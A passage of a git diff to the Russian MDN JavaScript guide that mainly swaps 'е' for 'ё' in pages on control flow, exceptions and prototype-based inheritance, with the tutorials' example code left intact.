{{jsxref("Statements/let", "let")}}.</p> @@ -75,7 +75,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <pre class="brush: js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span> </code></pre> -<p>Если вам нужно использовать присваивание в условном выражении, то распространенной практикой является заключение операции присваивания в дополнительные скобки. Например:</p> +<p>Если вам нужно использовать присваивание в условном выражении, то распространённой практикой является заключение операции присваивания в дополнительные скобки. Например:</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> @@ -101,7 +101,7 @@ if (b) // это условие true if (b == true) // это условие false </pre> -<p>В следующем примере функция <code>checkData</code> возвращает <code>true</code>, если число символов в объекте <code>Text</code> равно трем; в противном случае функция отображает окно alert и возвращает <code>false</code>.</p> +<p>В следующем примере функция <code>checkData</code> возвращает <code>true</code>, если число символов в объекте <code>Text</code> равно трём; в противном случае функция отображает окно alert и возвращает <code>false</code>.</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>document<span class="punctuation token" style="color: #999999;">.</span>form1<span class="punctuation token" style="color: #999999;">.</span>threeChar<span class="punctuation token" style="color: #999999;">.</span>value<span class="punctuation token" style="color: #999999;">.</span>length <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">==</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -131,9 +131,9 @@ if (b == true) // это условие false } </pre> -<p>Сначала производится поиск ветви <code>case</code> с меткой <code>label</code>, совпадающей со значением выражения <code>expression</code>. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора <code>break</code>, который прекращает выполнение <code>switch</code> и передает управление дальше. В противном случае управление передается необязательной ветви <code>default</code> и выполняется соответствующий ей код. Если ветвь <code>default</code> не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией <code>switch</code>. По соглашению ветвь <code>default</code> является последней ветвью, но следовать этому соглашению необязательно.</p> +<p>Сначала производится поиск ветви <code>case</code> с меткой <code>label</code>, совпадающей со значением выражения <code>expression</code>. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора <code>break</code>, который прекращает выполнение <code>switch</code> и передаёт управление дальше. В противном случае управление передаётся необязательной ветви <code>default</code> и выполняется соответствующий ей код. Если ветвь <code>default</code> не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией <code>switch</code>. По соглашению ветвь <code>default</code> является последней ветвью, но следовать этому соглашению необязательно.</p> -<p>Если оператор <code>break</code> отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнется выполнение кода, который следует за ней.</p> +<p>Если оператор <code>break</code> отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнётся выполнение кода, который следует за ней.</p> <p>В следующем примере если <code>fruittype</code> имеет значение <code>"Bananas"</code>, то будет выведено сообщение<code> "Bananas are $0.48 a pound."</code> и оператор <code>break</code> прекратит выполнение <code>switch</code>. Если бы оператор <code>break</code> отсутствовал, то был бы также выполнен код, соответствующий ветви <code>"Cherries"</code>, т.е. выведено сообщение <code>"Cherries are $3.00 a pound."</code>.</p> @@ -180,7 +180,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <pre style="font-size: 14px; white-space: normal;">throw expression;</pre> -<p>Вы можете выбросить любое выражение, а не только выражения определенного типа. В следующем примере выбрасываются исключения различных типов:</p> +<p>Вы можете выбросить любое выражение, а не только выражения определённого типа. В следующем примере выбрасываются исключения различных типов:</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // string </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // number @@ -235,7 +235,7 @@ catch (e) { <pre style="font-size: 14px; white-space: normal;">catch (catchID) { statements }</pre> -<p>JavaScript создает идентификатор <code>catchID</code>, которому присваивается перехваченное исключение, при входе в блок <code>catch</code>; данный идентификатор доступен только в пределах блока <code>catch</code> и уничтожается при выходе из него.</p> +<p>JavaScript создаёт идентификатор <code>catchID</code>, которому присваивается перехваченное исключение, при входе в блок <code>catch</code>; данный идентификатор доступен только в пределах блока <code>catch</code> и уничтожается при выходе из него.</p> <p>В следующем примере выбрасывается исключение, которое перехватывается в блоке <code>catch</code>:</p> diff --git a/files/ru/web/javascript/guide/details_of_the_object_model/index.html b/files/ru/web/javascript/guide/details_of_the_object_model/index.html index 5a78bd6a74..a93d7aa85e 100644 --- a/files/ru/web/javascript/guide/details_of_the_object_model/index.html +++ b/files/ru/web/javascript/guide/details_of_the_object_model/index.html @@ -28,17 +28,17 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model <h3 id="Подклассы_и_наследование">Подклассы и наследование</h3> -<p>В языках, основанных на классах, вы создаете иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является <em>подклассом</em> уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> включает два свойства: <code>name</code> и <code>dept</code>, а класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> является подклассом <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> и добавляет свойство <code>reports</code>. В этом случае, экземпляр класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> будет иметь три свойства: <code>name</code>, <code>dept</code>, и <code>reports</code>.</p> +<p>В языках, основанных на классах, вы создаёте иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является <em>подклассом</em> уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> включает два свойства: <code>name</code> и <code>dept</code>, а класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> является подклассом <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> и добавляет свойство <code>reports</code>. В этом случае, экземпляр класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> будет иметь три свойства: <code>name</code>, <code>dept</code>, и <code>reports</code>.</p> <p>JavaScript реализует наследование, позволяя связать прототипный ообъект с любой функцией-конструктором. Итак, вы можете создать ообъект точь-в-точь, как в примере <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> — <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, но используя несколько иную технику. Для начала нужно определить функцию-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, которая определяет свойства <code>name</code> и <code>dept</code>. Затем, определяем функцию-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, в которой в свою очередь, будет явно вызываться конструктор <span style="font-family: consolas,monaco,andale mono,monospace;"><code>Employee</code> и</span> определяться новое свойство <code>reports</code>. Наконец, присваиваем новый экземпляр <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, в качестве <code>prototype</code> для функции-конструктора <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>. Теперь, когда вы создадите нового <span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span>, он унаследует свойства <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">name</span></font> и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font> из объекта <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>.</p> <h3 id="Добавление_и_удаление_свойств">Добавление и удаление свойств</h3> -<p>В языках, основанных на классах, вы, как правило, создаете класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.</p> +<p>В языках, основанных на классах, вы, как правило, создаёте класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.</p> <h3 id="Подытожим_различия">Подытожим различия</h3> -<p>Следующая таблица дает краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.</p> +<p>Следующая таблица даёт краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.</p> <table class="fullwidth-table"> <caption>Сравнение языков на основе классов (Java) и на базе прототипов (JavaScript)</caption> @@ -54,7 +54,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model <td>Все объекты могут наследовать свойства другого объекта.</td> </tr> <tr> - <td>Определяем класс с помощью определения класса; создаем экземпляр класса с помощью метода-конструктора.</td> + <td>Определяем класс с помощью определения класса; создаём экземпляр класса с помощью метода-конструктора.</td> <td>Определение и создание объекта происходит с помощью функций-конструкторов.</td> </tr> <tr> @@ -64,7 +64,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model <tr> <td>Иерархия объектов строится с помощью определения классов и их подклассов.</td> <td> - <p>Построение иерархии объектов происходит путем присвоения объекта в качестве прототипа функции-конструктора.</p> + <p>Построение иерархии объектов происходит путём присвоения объекта в качестве прототипа функции-конструктора.</p> </td> </tr> <tr> @@ -73,7 +73,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model </tr> <tr> <td>Определение класса определяет <em>все</em> свойства всех экземпляров класса. Нельзя динамически добавлять свойства во время выполнения.</td> - <td>Функция-конструктор или прототип задает <em>начальный</em> набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.</td> + <td>Функция-конструктор или прототип задаёт <em>начальный</em> набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.</td> </tr> </tbody> </table> @@ -152,7 +152,7 @@ function Manager() { Employee.call(this); this.reports = []; } -//создаем пустой объект с прототипом от конструктора Employee +//создаём пустой объект с прототипом от конструктора Employee //и используем этот ообъект как прототип для Manager Manager.prototype = Object.create(Employee.prototype); @@ -236,7 +236,7 @@ public class Engineer extends WorkerBee { <p>Используя эти определения, вы можете создавать экземпляры объектов, которые получат значения по умолчанию для своих свойств. Рисунок 8.3 иллюстрирует использование этих определений и показывает значения свойств у полученных объектов.</p> -<p>{{ note('Термин <em>экземпляр </em>имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определенного класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной <span>функции конструктора. Так, в этом примере, вы можете неформально сказать, что <code>jane</code> является экземпляром <code>Engineer</code>. Аналогично, хотя термины <em>parent, child, ancestor</em> и <em>descendant</em> (<em>родитель, ребенок, предок</em> и <em>потомок</em>) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже</span> <span>в</span> <span>цепочке прототипов.') }}</span></p> +<p>{{ note('Термин <em>экземпляр </em>имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определённого класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной <span>функции конструктора. Так, в этом примере, вы можете неформально сказать, что <code>jane</code> является экземпляром <code>Engineer</code>. Аналогично, хотя термины <em>parent, child, ancestor</em> и <em>descendant</em> (<em>родитель, ребёнок, предок</em> и <em>потомок</em>) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже</span> <span>в</span> <span>цепочке прототипов.') }}</span></p> <p><img alt="figure8.3.png" class="default internal" id="figure8.3" src="/@api/deki/files/4403/=figure8.3.png"><br> <a id="8.3" name="8.3"><small><strong>Рисунок 8.3: Создание объектов с простыми определениями</strong></small></a></p> @@ -247,21 +247,21 @@ public class Engineer extends WorkerBee { <h3 id="Наследование_свойств">Наследование свойств</h3> -<p>Предположим, вы создаете ообъект <code>mark</code> в качестве <code>WorkerBee</code> (как показано на <a href="#8.3">Рисунок 8.3</a>) с помощью следующего выражения:</p> +<p>Предположим, вы создаёте ообъект <code>mark</code> в качестве <code>WorkerBee</code> (как показано на <a href="#8.3">Рисунок 8.3</a>) с помощью следующего выражения:</p> <pre class="brush: js">var mark = new WorkerBee; </pre> -<p>Когда JavaScript видит оператор <code>new</code>, он создает новый обобщенный ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в <code>WorkerkBee.prototype</code>, затем передает этот новый ообъект в качестве значения <code>this</code> в функцию-конструктор <code>WorkerBee</code>. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную <code>mark</code> для этого объекта.</p> +<p>Когда JavaScript видит оператор <code>new</code>, он создаёт новый обобщённый ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в <code>WorkerkBee.prototype</code>, затем передаёт этот новый ообъект в качестве значения <code>this</code> в функцию-конструктор <code>WorkerBee</code>. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную <code>mark</code> для этого объекта.</p> -<p>Этот процесс не задает значения свойств (<em>локальных</em> значений), которые унаследованы по цепочке прототипов, объекта <code>mark</code> напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект <code>mark</code> содержит следующие свойства и значения:</p> +<p>Этот процесс не задаёт значения свойств (<em>локальных</em> значений), которые унаследованы по цепочке прототипов, объекта <code>mark</code> напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект <code>mark</code> содержит следующие свойства и значения:</p> <pre class="brush: js">mark.name = ''; mark.dept = 'general'; mark.projects = []; </pre> -<p>Значения для свойств <code>name</code> и <code>dept</code> объекту <code>mark</code> присваиваются из конструктора <code>Employee</code>. Также из конструктора <code>WorkerBee</code> присваивается локальное значение для свойства <code>projects</code>. Это дает вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в <a href="#Тонкости_наследования_свойств">Тонкости наследования свойств</a>.</p> +<p>Значения для свойств <code>name</code> и <code>dept</code> объекту <code>mark</code> присваиваются из конструктора <code>Employee</code>. Также из конструктора <code>WorkerBee</code> присваивается локальное значение для свойства <code>projects</code>. Это даёт вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в <a href="#Тонкости_наследования_свойств">Тонкости наследования свойств</a>.</p> <p>Поскольку эти конструкторы не позволяют вводить значения, специфичные для экземпляра, добавленная информация является общей. Значения свойств устанавливаются по умолчанию одинаковыми для всех объектов, созданных функцией <code>WorkerBee</code>. Конечно, вы можете изменить значения любого из этих свойств. Так, вы можете добавить специфичную информацию для <code>mark</code> следующим образом:</p> @@ -397,7 +397,7 @@ public class Engineer extends WorkerBee { <p>{{ note('Это может работать не так, как ожидается, если функция-конструктор вызывается с аргументами, которые преобразуются в <code><code>false</code></code>, вроде нуля (<code>0</code>) или пустой строки (<code>""</code>). В этом случае будет выбрано значение по умолчанию.') }}</p> -<p>С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определенных свойств. Как показано на <a href="#8.5">Рисунок 8.5</a>, можно использовать следующее выражение для создания нового <code>Engineer</code>:</p> +<p>С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определённых свойств. Как показано на <a href="#8.5">Рисунок 8.5</a>, можно использовать следующее выражение для создания нового <code>Engineer</code>:</p> <pre class="brush: js">var jane = new Engineer('belau'); </pre> @@ -412,7 +412,7 @@ jane.machine == 'belau' <p>Обратите внимание, что с таким способом вы не можете указать начальное значение наследуемого свойства, такого как <code>name</code>. Если вы хотите задать начальное значение для наследуемых свойств в JavaScript, вам нужно добавить больше кода в функцию-конструктор.</p> -<p>До сих пор функция-конструктор создавала обобщенный ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путем непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.</p> +<p>До сих пор функция-конструктор создавала обобщённый ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путём непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.</p> <p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br> <small><strong>Рисунок 8.6: Определение свойств в конструкторе, вариант 2</strong></small></p> @@ -426,7 +426,7 @@ jane.machine == 'belau' } </pre> -<p>Предположим, вы создаете новый ообъект, используя <code>Engineer, следующим образом:</code></p> +<p>Предположим, вы создаёте новый ообъект, используя <code>Engineer, следующим образом:</code></p> <pre class="brush: js">var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); </pre> @@ -434,16 +434,16 @@ jane.machine == 'belau' <p>JavaScript <span id="result_box" lang="ru"><span>выполняет следующие действия</span><span>:</span></span></p> <ol> - <li>Оператор <code>new</code> создает обобщенный ообъект и устанавливает его свойству <code>__proto__</code> значение <code>Engineer.prototype</code>.</li> - <li>Оператор <code>new</code> передает этот новый ообъект в конструктор <code>Engineer</code> в качестве значения ключевого слова <code>this</code>.</li> - <li>Конструктор создает новое свойство с именем <code>base</code> для этого объекта и присваивает значение свойства <code>base</code> из конструктора <code>WorkerBee</code>. Это делает конструктор <code>WorkerBee</code> методом объекта, созданного <code>Engineer</code>. Имя свойства <code>base</code> не является специальным словом. Вы можете использовать любое допустимое для свойства имя; <code>base</code> всего-лишь напоминает о предназначении свойства.</li> + <li>Оператор <code>new</code> создаёт обобщённый ообъект и устанавливает его свойству <code>__proto__</code> значение <code>Engineer.prototype</code>.</li> + <li>Оператор <code>new</code> передаёт этот новый ообъект в конструктор <code>Engineer</code> в качестве значения ключевого слова <code>this</code>.</li> + <li>Конструктор создаёт новое свойство с именем <code>base</code> для этого объекта и присваивает значение свойства <code>base</code> из конструктора <code>WorkerBee</code>. Это делает конструктор <code>WorkerBee</code> методом объекта, созданного <code>Engineer</code>. Имя свойства <code>base</code> не является специальным словом. Вы можете использовать любое допустимое для свойства имя; <code>base</code> всего-лишь напоминает о предназначении свойства.</li> <li>Конструктор вызывает метод <code>base</code>, передавая в качестве аргументов два аргумента, переданных конструктору (<code>"Doe, Jane"</code> и <code>["navigator", "javascript"]</code>), а также строку <code>"engineering"</code>. Явное использование <code>"engineering"</code> в конструкторе указывает на то, что все объекты, созданные <code>Engineer</code>, имеют одинаковое значение для наследуемого свойства <code>dept</code>, это значение переопределяет значение, унаследованное из <code>Employee</code>.</li> - <li>Поскольку <code>base</code> является методом <code>Engineer</code>, внутри вызова <code>base</code> JavaScript привязывает ключевое свойство <code>this</code> к объекту, созданному в шаге 1. Таким образом, функция <code>WorkerBee</code> передает поочередно аргументы <code>"Doe, Jane"</code> и <code>"engineering"</code> в функцию-конструктор <code>Employee</code>. Получив результат из <code>Employee</code>, функция <code>WorkerBee</code> использует оставшийся аргумент для установки значения свойства <code>projects</code>.</li> + <li>Поскольку <code>base</code> является методом <code>Engineer</code>, внутри вызова <code>base</code> JavaScript привязывает ключевое свойство <code>this</code> к объекту, созданному в шаге 1. Таким образом, функция <code>WorkerBee</code> передаёт поочерёдно аргументы <code>"Doe, Jane"</code> и <code>"engineering"</code> в функцию-конструктор <code>Employee</code>. Получив результат из <code>Employee</code>, функция <code>WorkerBee</code> использует оставшийся аргумент для установки значения свойства <code>projects</code>.</li> <li>После возвращения из метода <code>base</code>, конструктор <code>Engineer</code> инициализирует свойство объекта <code>machine</code> со значением <code>"belau"</code>.</li> <li>После возвращения из конструктора, JavaScript присваивает новый ообъект переменной <code>jane</code>.</li> </ol> -<p>Можно подумать, что вызвав <code>WorkerBee</code> из конструктора <code>Engineer</code>, вы настроили соответствующим образом наследование для объектов, создаваемых <code>Engineer</code>. Это не так. Вызов конструктора <code>WorkerBee</code> обеспечивает только то, что ообъект <code>Engineer</code> запускается со свойствами, определенными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы <code>Employee</code> или <code>WorkerBee</code>, эти свойства не наследуются объектами из <code>Engineer</code>. Например, предположим, вы использовали следующие определения:</p> +<p>Можно подумать, что вызвав <code>WorkerBee</code> из конструктора <code>Engineer</code>, вы настроили соответствующим образом наследование для объектов, создаваемых <code>Engineer</code>. Это не так. Вызов конструктора <code>WorkerBee</code> обеспечивает только то, что ообъект <code>Engineer</code> запускается со свойствами, определёнными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы <code>Employee</code> или <code>WorkerBee</code>, эти свойства не наследуются объектами из <code>Engineer</code>. Например, предположим, вы использовали следующие определения:</p> <pre class="brush: js">function Engineer (name, projs, mach) { this.base = WorkerBee; @@ -511,7 +511,7 @@ function Engineer (name, projs, mach) { <li>Если искомое свойство не обнаружено, считается, что ообъект его не имеет.</li> </ol> -<p>Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаете объекты, прототипы и их свойства. Рассмотрим пример:</p> +<p>Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаёте объекты, прототипы и их свойства. Рассмотрим пример:</p> <pre class="brush: js">function Employee () { this.name = ""; @@ -524,7 +524,7 @@ function WorkerBee () { WorkerBee.prototype = new Employee; </pre> -<p>Предположим, на основе конструкции выше, вы создаете ообъект <code>amy</code> как экземпляр класса <code>WorkerBee</code> следующим выражением:</p> +<p>Предположим, на основе конструкции выше, вы создаёте ообъект <code>amy</code> как экземпляр класса <code>WorkerBee</code> следующим выражением:</p> <pre class="brush: js">var amy = new WorkerBee; </pre> @@ -543,7 +543,7 @@ amy.projects == []; <p>На первый взгляд вы можете ожидать, что это изменение распространится на все экземпляры <code>Employee</code>. Однако этого не случится.</p> -<p>Когда вы устанавливаете прототип для <code>WorkerBee</code> вы создаете новый ообъект <code>Employee</code>, таким образом <code>WorkerBee.prototype</code> получает свое собственное локальное свойство <code>name</code> (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство <code>name</code> у объекта <code>amy</code> (экземпляра <code>WorkerBee</code>), он первым делом натыкается на него в прототипе <code>WorkerBee.prototype,</code> и до проверки <code>Employee.prototype</code> дело не доходит.</p> +<p>Когда вы устанавливаете прототип для <code>WorkerBee</code> вы создаёте новый ообъект <code>Employee</code>, таким образом <code>WorkerBee.prototype</code> получает своё собственное локальное свойство <code>name</code> (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство <code>name</code> у объекта <code>amy</code> (экземпляра <code>WorkerBee</code>), он первым делом натыкается на него в прототипе <code>WorkerBee.prototype,</code> и до проверки <code>Employee.prototype</code> дело не доходит.</p> <p>Если у вас есть необходимость изменять некоторое свойство объекта во время работы приложения, и применять это изменение на все существующие экземпляры, не нужно создавать это свойство внутри конструктора. Вместо этого добавьте свойство в прототип, принадлежащий конструктору. Для примера, предположим, вы изменили код, который был показан выше, следующим образом:</p> @@ -617,7 +617,7 @@ instanceOf (chris, Employee) instanceOf (chris, Object) </pre> -<p>Но следующее выражение вернет <code>false</code>:</p> +<p>Но следующее выражение вернёт <code>false</code>:</p> <pre class="brush: js">instanceOf (chris, SalesPerson) </pre> @@ -635,13 +635,13 @@ function Employee (name, dept) { } </pre> -<p>Здесь, когда вы создаете новый экземпляр <code>Employee</code>, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной <code>idCounter</code>. Следовательно, при выполнении кода ниже, <code>victoria.id</code> станет равным 1 а <code>harry.id</code> — 2:</p> +<p>Здесь, когда вы создаёте новый экземпляр <code>Employee</code>, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной <code>idCounter</code>. Следовательно, при выполнении кода ниже, <code>victoria.id</code> станет равным 1 а <code>harry.id</code> — 2:</p> <pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs") var harry = new Employee("Tschopik, Harry", "sales") </pre> -<p>Навскидку, все выглядит предсказуемо. Однако, <code>idCounter</code> увеличивается при создании каждого объекта <code>Employee</code> вне зависимости от цели его создания. Если вы создаете полную иерархию класса <code>Employee,</code> показанную выше в этой главе, конструктор <code>Employee</code> будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:</p> +<p>Навскидку, все выглядит предсказуемо. Однако, <code>idCounter</code> увеличивается при создании каждого объекта <code>Employee</code> вне зависимости от цели его создания. Если вы создаёте полную иерархию класса <code>Employee,</code> показанную выше в этой главе, конструктор <code>Employee</code> будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:</p> <pre class="brush: js">var idCounter = 1; @@ -666,9 +666,9 @@ SalesPerson.prototype = new WorkerBee; var mac = new Engineer("Wood, Mac"); </pre> -<p>Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведет к тому, что <code>id</code> у объекта <code>mac</code> примет значение 5 вместо ожидаемой единицы.</p> +<p>Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведёт к тому, что <code>id</code> у объекта <code>mac</code> примет значение 5 вместо ожидаемой единицы.</p> -<p>В зависимости от приложения, лишние увеличения счетчика могут быть не критичны. В случае же, когда точный контроль за значениями счетчика важен, одним из возможных решений станет такой код:</p> +<p>В зависимости от приложения, лишние увеличения счётчика могут быть не критичны. В случае же, когда точный контроль за значениями счётчика важен, одним из возможных решений станет такой код:</p> <pre class="brush: js">function Employee (name, dept) { this.name = name || ""; @@ -678,15 +678,15 @@ var mac = new Engineer("Wood, Mac"); } </pre> -<p>Когда вы создаете экземпляр <code>Employee</code> в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента <code>name,</code> и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счетчика <code>idCounter</code> не увеличивается. Таким образом, для получения уникального <code>id</code> становится обязательным указание параметра <code>name</code> при вызове конструктора <code>Employee</code>. С внесенными в пример выше изменениями, <code>mac.id</code> станет равным долгожданной, заветной единице.</p> +<p>Когда вы создаёте экземпляр <code>Employee</code> в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента <code>name,</code> и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счётчика <code>idCounter</code> не увеличивается. Таким образом, для получения уникального <code>id</code> становится обязательным указание параметра <code>name</code> при вызове конструктора <code>Employee</code>. С внесёнными в пример выше изменениями, <code>mac.id</code> станет равным долгожданной, заветной единице.</p> <h3 id="Никакого_множественного_наследования">Никакого множественного наследования</h3> <p>Некоторые из 